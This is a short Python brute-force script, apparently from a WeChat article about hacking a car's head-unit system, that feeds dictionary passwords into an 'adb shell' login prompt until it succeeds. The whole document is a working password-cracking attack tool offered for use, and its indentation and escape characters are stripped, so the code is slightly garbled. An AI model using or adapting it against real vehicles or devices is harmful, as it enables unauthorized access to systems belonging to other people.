import pexpect
import random
import sys
# Open the password dictionary file
if len(sys.argv) < 2:
print("Usage: python3",sys.argv[0],"password.txt")
exit(0)
else:
print("ADB Shell Brute --By Infiltrator")
with open(sys.argv[1]) as f:
passwords = f.readlines()
adb = pexpect.spawnu("adb shell",timeout=1)
#adb.logfile_read = sys.stdout
# Try each password in the dictionary file
for password in passwords:
password = password.strip() # Remove leading/trailing whitespace
# Wait for the password prompt
try:
s = adb.expect("password:")
except:
print("[!] Please check adb if connected!")
exit(1)
# Enter the password
print("r[*] Testing password:",password,end='')
adb.sendline(password)
# Wait for the output and check if we successfully logged in
s = adb.expect(["verify success!", "verify failed!"])
if s == 0:
# Login succeeded, we're done
print("n[+] Success! Password is:", password)
break
else:
# Login failed, try the next password
continue
原文始发于微信公众号(Hack All):Hacked某安汽车车机系统